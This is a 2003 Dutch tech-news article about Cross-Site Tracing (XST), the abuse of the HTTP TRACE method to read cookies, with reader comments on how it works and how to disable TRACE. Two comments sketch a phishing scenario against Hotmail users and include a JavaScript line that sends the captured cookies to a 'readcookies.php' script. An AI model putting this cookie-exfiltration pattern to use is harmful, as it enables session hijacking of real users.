Hoofdcategorieën
Device Settings

[RSS] [quick] Index » Nieuws » Core » Software » HTTP trace-commando mogelijk te misbruiken

HTTP trace-commando mogelijk te misbruiken

Door Kevin Levie, vrijdag 24 januari 2003 18:22
Bron: ExtremeTech, views: 1.957

ExtremeTech schrijft dat het trace-commando in het HTTP-protocol mogelijk te misbruiken is. De trace-mogelijkheid staat standaard aan op vrijwel alle webservers. Het commando stuurt direct dezelfde data terug als de client verzonden heeft, en is net als pingen bedoeld om een connectie te testen. Volgens het artikel is het mogelijk misbruik te maken van deze opdracht middels 'Cross-Site Tracing' (XST), waarmee bijvoorbeeld cookies ontfutseld kunnen worden. Dit zou gebleken zijn na maandenlang onderzoek van beveiligingsbureau WhiteHat.

Volgens het bureau is deze aanval een stuk moeilijker te voorkomen dan de zogenaamde 'man in the middle'-aanval, die kan worden bestreden door SSL te gebruiken. Allerlei client-side scripttalen die werken in vrijwel iedere browser, zoals JavaScript, VBScript, Java en Flash, zouden voor deze hack misbruikt kunnen worden. Omdat het trace-commando onderdeel is van het HTTP-protocol, heeft een oplossing van het lek volgens het bureau nog heel wat voeten in de aarde. Zo zouden ontwikkelaars van webservers bijvoorbeeld patches moeten uitbrengen:

Beveiliging-kleinWhiteHat has assembled recommendations that go well beyond patching browsers for domain restriction bypass flaws. These include suggestions on the server side such as: disabling the TRACE request on all production and development Web servers; having vendors update Web server packages to disable TRACE out of the box.
Volgende 19:08 Geruchten over de ATi R350 VPU
Vorige 18:16 Asus en AOpen onthullen GeForce FX producten
Advertentie

Categorieën

Gerelateerde content

Reacties

Flat modeFlat mode Sorteer aflopendSorteer aflopend Moderatie FAQModfaq
Niveaufilter: -1 Ongewenst: 35 reacties zichtbaar350 Off-topic / Irrelevant: 35 reacties zichtbaar35+1 On-topic: 22 reacties zichtbaar22+2 Informatief: 13 reacties zichtbaar13+3 Spotlight: 3 reacties zichtbaar3
«  1  2  »

Door joostbaksteen, vrijdag 24 januari 2003 18:29

Score: 3
Zelf wist ik niet wat ze bedoelde met het TRACE commando dus ik heb ff gezocht en toen kwam ik http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html hier terecht.

Voor meer info over TRACE

Door voodoochile, vrijdag 24 januari 2003 18:56

Score: 0
is dat niet wat standaard in m'n win2k doos zit:
tracert www.tweakers.net

waarbij je de VIA headers terugkrijgt, en weet welke reisweg je pakketje heeft gevolgd?

Door johnny appleseed, vrijdag 24 januari 2003 19:13

Score: 2
Nee, het is een commando in het HTTP protocol, zoals al simpel is uitgelegd in de nieuwsposting.

Door joostbaksteen, vrijdag 24 januari 2003 19:13

Score: 2
Nee, dat is het niet, dit is ingebakken in het HTTP protocol wat wordt gebruikt door webservers, als je tracert kom je ook pc's tegen welke geen apache draaien. Maar deze zullen wel een responce geven.

Het is dus wat anders.

Door Weerz, vrijdag 24 januari 2003 18:31

Score: 0
Ben benieuwd hoe ze dit gaan anpakken dan want makkelijk zal dit niet zijn om te doen maar als je het eenmaal kan. Dan kan je overal zomaar even binnenwandelen om het zo maar te zeggen! Vraag me ook af wie de eerste zal zijn met deze patch :P

Door Aphax, vrijdag 24 januari 2003 18:32

Score: 0
Geen last van met IIS6 in ieder geval, op TRACE geeft deze gewoon een 400 terug (Bad Request). Of ligt het aan mij?

edit: mijn fout

Door Silent3k, vrijdag 24 januari 2003 18:52

Score: 0
De meeste mensen & bedrijven gaan toch hun webservers niet aanpassen, en zijn ook nog eens te lui om updates uit te voeren, waar blijven de details over hoe je het moet gebruiken!!!!

Door Dictor, vrijdag 24 januari 2003 18:56

Score: 0
Zo klinkt het net of trace een eigen protocol gebruikt terwijl het toch gewoon pingt naar de doelhost met bepaalde TTL-waarden.

Door bartvb, vrijdag 24 januari 2003 19:52

Score: 3
Het gaat hier niet op traceroute maar om het de TRACE method in HTTP. Dus TRACE is net zoiets als GET, POST en HEAD...
c:>traceroute www.tweakers.net
heeft dus helemaal niets met deze TRACE te maken.

Wat is er nou aan de hand?

Als je JS op een pagina hebt staan kan je niet zomaar willekeurige cookies van willekeurige sites opvragen (en dus doorsturen naar een of ander scriptkiddie). Dit hele TRACE verhaal wordt gebruikt om hier omheen te komen.

Wat doe je?

je maakt een stukje JS dat een TRACE request naar een site stuurt (www.tweakers.net bijvoorbeeld), dat doet je browser braaf, terwijl hij dat doet voegt hij aan je request ook netjes de overige headers toe waaronder dus eventuele Cookie headers. Het leuke aan TRACE is dus dat je de hele zooi weer precies terugkrijg zoals het verzonden is. Inclusief de Cookies...

Op die manier kan je met een stukje JS dus zo cookies voor een willekeurige site opvragen en dat stukje JS kan die cookies (en dus ook sessions e.d.) doorspelen naar een kwaadaardige site..

Niet echt handig dus ;)
Hier is trouwens al een paar dagen redelijk wat over te doen op de BugTraq lijst, er zijn ook al workarounds voor Apache e.d., in Apache kan je met een simpele rewrite rule het TRACE commando uitschakelen.

BTW als je meer wil weten staat hier:
http://www.boarder.org/WH-WhitePaper_XST_ebook.pdf
de whitepaper van WhiteHat...

Door EfBe, vrijdag 24 januari 2003 20:15

Score: 1
Maar in dat geval is het dus een bug in de client, en dus patchbaar op de client.

Bedankt voor de uitleg, eindelijk iemand die het snapt en duidelijk is over wat het probleem is.

Door bartvb, vrijdag 24 januari 2003 20:18

Score: 2
Hmm, nee hoor. Is geen probleem in de client. Iig niet als je het strict bekijkt..

Of ja, enige dat er misschien mis gaat is dat je via iets als JS een HTTP verbinding op kan bouwen, maar dat kan ook weer heel erg handig zijn voor behoorlijk wat dingen :\ 't is dus een beetje vaag waar de 'fout' nou eigenlijk ligt, dat is ook 1 van de problemen met deze vulnerability... Enige dat de browser en server doen is de standaarden ondersteunen. De fout wordt in principe veroorzaakt door de opzet van de HTTP standaard zelf. Dus server en client zijn alle twee even (on)schuldig IMO.

Door doekman, vrijdag 24 januari 2003 19:10

Score: 2
Je kunt het TRACE commando toch eenvoudig uitschakelen, in zowel IIS als Apache, dus geen patches nodig. Wie gebruikt TRACE ook eigenlijk. HTTP is vrij volwassen, en volgens mij is TRACE met name handig om rotte proxies te begrijpen...

Door EfBe, vrijdag 24 januari 2003 19:21

Score: 1
In IIS? Je bedoelt, TRACE blocken bij de extensies .asp etc? Of ergens anders?

En stel, je blockt het niet, waarom is dan je bak vulnerable? Ik zie niet in waarom.

Door EfBe, vrijdag 24 januari 2003 19:18

Score: 2
Het extremetech artikel gelezen, maar ik ben niets wijzer, anders dan een ENORME berg blabla en "Ojee de wereld vergaat"-geleuter. Ik snap best dat ze wellicht willen verhullen hoe het werkt, maar ik heb nu echt zoiets van "zal wel, ik geloof niet dat er een exploit mogelijk is". Immers: hoe kan de TRACE functionaliteit nu SSL connecties omzeilen? Slaat echt nergens op, die bewering. Het enige wat ik me kan voorstellen is dat een object in een page een nieuwe connectie maakt mbv TRACE naar een andere server dan waar je nu op zit, die connectie en zn resultaat gebruikt om te communiceren met de server waar je nu op zit. Maar dat is ook zonder trace mogelijk, dus dat lijkt me af te vallen. Hoe TRACE dan wel ingezet kan worden voor het hacken van weet ik wat voor info... het is me compleet onduidelijk.

Door killercow, vrijdag 24 januari 2003 19:50

Score: 0
jij bent de gene die leutert, je zegt zelf al dat je er niets van snapt, en dat je het allemaal maar onzin vindt, ben jij een hacker? ben jij een security expert? neee? mooi wie leutert er dan?

als jouw pc, door middel van een of ander object data gaat versturen naar een server die er niet helemaal aan had mogen komen dan is er dus een exploit en dan kunnen er serieuse problemen ontstaan, zeker aangezien iedere pc aan internet ongeveer een http trace commando kan uitvoeren.

Door EfBe, vrijdag 24 januari 2003 20:04

Score: 1
Dat kan toch ook zonder trace? Een flash app kan toch ook meerdere servers raadplegen voor data en daar iets mee doen? Wat heeft 'TRACE' voor meerwaarde, DAT wil ik graag weten, en dat is me nog steeds niet duidelijk.

btw: ik ben wel software engineer, ik weet wat er in webservers gebeurt, daarom wil ik graag weten hoe whitehat TRACE wil gaan inzetten voor een hack-poging, zodat ik er iets tegen kan doen wellicht op mijn eigen servers.

Door killercow, vrijdag 24 januari 2003 20:46

Score: 0
de trace stuurt vrolijk de complete set headers mee, en als de trace dus vanaf jouw pc naar bv tweakers.net gebeurt stuurt deze dus ook jouw cookies mee, deze krijgt hij dan ook weer terug, dus zo kan een site die nooit aan de t.net cookies mocht komen ze ineens uitlezen via die trace functie.

Ik vind het nogal een fout eerlijk gezegd.
je kunt bijvoorbeeld nu een mailtje maken met daarin een link, deze stuur je naar allerlei hotmail vrienden,
op de page achter deze link laat je JS een trace uitvoeren naar de cookie server van hotmail.
de clienst sturen de cookies, want de personen zijn ingelogt @ hotmail.

en dan krijgt jouw JS de cookies van hotmail weer terug, je kunt daarna natuurlijk die cookies op allerlei manieren doorspelen, gewoon een document.location='readcookies.php?cookie='+returnedcookies;

okey en nu niet allemaal gaan lopen scripten, niet dat hotmail mij iets boeit, maar dan krijg ik vast op m'n kop van t.net hier

Door henkleerssen, vrijdag 24 januari 2003 19:21

Score: 0
En dadelijk is ping ook al niet veilig meer? Waar gaat het naartoe...

Door pstalman, vrijdag 24 januari 2003 21:45

Score: 0
die bug is allang gefixed

Door killercow, vrijdag 24 januari 2003 19:43

Score: 2
trace IS NIET tracert en dus ook niet een gewone ping.

met een trace command kun je direct aan een http server informatie terug vragen die jij hebt verstuurd met het zelfde commando, een ping doet dit al anders, die geeft namenlijk iets anders terug en een tracert heeft er eigenlijk al helemaal weinig mee te maken.

door de fout in het trace commando is het waarschijnlijk mogenlijk om cookie data van andere domain's, servers en browsers op te vragen, dit is dus zeker wel belangrijk aangezien er heel veel sites werken met cookies.

nog iets meer uitleg,
als jouw pc een trace uitvoert, dan loopt dat via een aantal servers, deze servers vragen de data uiteindelijk al dan niet iets anders dan jouw pc dat zou doen op bij de web-server. het commando trace houd in dat het eind-station het aan hem gevraagde commando terug stuurd, kortom, je kunt zien wat de laatse proxy aan de web-server vroeg. deze info kan mischien te veel of gevoelige data bevatten welke alleen bij de web-server thuis hoort en niet terug gestuurd hoort te worden naar de oorsronkelijke client.

hier een relevant stukje text van w3c.org
TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information

Door EfBe, vrijdag 24 januari 2003 20:08

Score: 2
door de fout in het trace commando is het waarschijnlijk mogenlijk om cookie data van andere domain's, servers en browsers op te vragen, dit is dus zeker wel belangrijk aangezien er heel veel sites werken met cookies.
Hoe kan een TRACE naar www.tweakers.net vanuit een java app op www.hackermaaroplos.nl ertoe leiden dat jij, die www.hackermaaroplos.nl bezoekt, je cookies inlevert, bv de www.tweakers.net cookies? Dat vertel jij ook niet met je opmerking.

Trace bevat geen fout, het is een diagnostic tool. Je kunt hooguit proxies peilen, nou, veel plezier met die info, want daar kun je geen reet mee, en al helemaal niet op client niveau, zoals de horrorstories op extremetech je willen laten geloven ("Je cookies zijn niet meer veilig").

btw, die proxies patchen en TRACE is volgens jouw redenering niet meer te gebruiken voor enige infovergaring.

Door killercow, vrijdag 24 januari 2003 20:48

Score: 3
de trace stuurt vrolijk de complete set headers mee, en als de trace dus vanaf jouw pc naar bv tweakers.net gebeurt stuurt deze dus ook jouw cookies mee, deze krijgt hij dan ook weer terug, dus zo kan een site die nooit aan de t.net cookies mocht komen ze ineens uitlezen via die trace functie.

Ik vind het nogal een fout eerlijk gezegd.
je kunt bijvoorbeeld nu een mailtje maken met daarin een link, deze stuur je naar allerlei hotmail vrienden,
op de page achter deze link laat je JS een trace uitvoeren naar de cookie server van hotmail.
de clienst sturen de cookies, want de personen zijn ingelogt @ hotmail.

en dan krijgt jouw JavaScript de cookies van hotmail weer terug, je kunt daarna natuurlijk die cookies op allerlei manieren doorspelen, gewoon een document.location='readcookies.php?cookie='+returnedcookies;

okey en nu niet allemaal gaan lopen scripten, niet dat hotmail mij iets boeit, maar dan krijg ik vast op m'n kop van t.net hier
«  1  2  »

Op dit item kan niet meer gereageerd worden.

Volgende 19:08 Geruchten over de ATi R350 VPU
Vorige 18:16 Asus en AOpen onthullen GeForce FX producten
VNU Media logo Hosted by True

© 1998 - 2012 Tweakers.net B.V. - Alle rechten voorbehouden - Contact - Jouw privacy - Algemene Voorwaarden

Uitgever van:

Website van het jaar 2011